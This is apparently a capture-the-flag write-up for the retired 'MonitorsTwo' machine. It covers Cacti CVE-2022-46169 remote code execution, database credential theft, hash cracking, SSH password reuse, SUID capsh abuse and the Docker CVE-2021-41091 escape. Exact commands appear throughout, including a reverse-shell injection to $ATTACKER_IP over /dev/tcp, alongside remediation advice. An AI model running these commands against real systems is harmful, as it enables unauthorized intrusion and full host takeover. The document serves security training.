MonitorsTwo
Summary
I confirmed Cacti 1.2.22 running on port 80 behind nginx and matched it immediately to CVE-2022-46169, an unauthenticated remote code execution flaw in remote_agent.php that bypasses an IP-whitelist by spoofing the X-Forwarded-For header. Exploitation landed a reverse shell as www-data inside a Docker container. Plaintext MySQL credentials hardcoded in the Cacti configuration file were used to dump the user table from the database; the bcrypt hash for 'marcus' was cracked offline and his password was reused verbatim for SSH access to the host, yielding the user flag.
Back inside the container, a SUID-misconfigured copy of capsh was abused to escalate to root within the container, then the SUID bit was planted on /bin/bash in the container filesystem. The CVE-2021-41091 Docker overlay-mount vulnerability then let marcus — a low-privilege user on the host — locate the container's writable overlay directory and execute the SUID bash binary directly from the host path, achieving root on the underlying machine.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV --open -p 22,80 $TARGETcurl -s -i --max-time 15 http://$TARGET/curl -s --max-time 15 http://$TARGET/CHANGELOG | head -30FixPatch Cacti to a version that fixes CVE-2022-46169 and restrict remote_agent.php network accessCritical
Exact commands 4
tmux new-session -d -s rsh 'nc -lvnp 4444'perl -0777 -pi -e 's/,proxies=proxy//g' /tmp/51166.pypython3 /tmp/51166.py -u http://$TARGET -i $ATTACKER_IP -p 4444curl -s -i -H 'X-Forwarded-For: 127.0.0.1' 'http://$TARGET/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1;bash+-c+"bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261"'Exact commands 2
cat /.dockerenv && hostname && ip addr showgrep -E 'database_(host|username|password|default)' /var/www/html/include/config.phpExact commands 3
mysql -u root -p$PASSWORD2 cacti -e 'SELECT username,password FROM user_auth;'echo '<marcus_hash>' > /tmp/marcus.hashhashcat -m 3200 /tmp/marcus.hash /usr/share/wordlists/rockyou.txt --forceFixNever reuse application database credentials as OS account passwordsHigh
Exact commands 2
ssh marcus@$TARGETcat /home/marcus/user.txtExact commands 3
find / -perm -4000 -type f 2>/dev/null/sbin/capsh --gid=0 --uid=0 --chmod u+s /bin/bashFixRemove the SUID bit from capsh and audit all container images for unnecessary SUID binariesHigh
Exact commands 3
find /var/lib/docker/overlay2 -name bash -perm -4000 2>/dev/null/var/lib/docker/overlay2/<container-merged-id>/merged/bin/bash -pid && cat /root/root.txtFixUpgrade Docker Engine to patch CVE-2021-41091 and lock down overlay filesystem permissionsCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |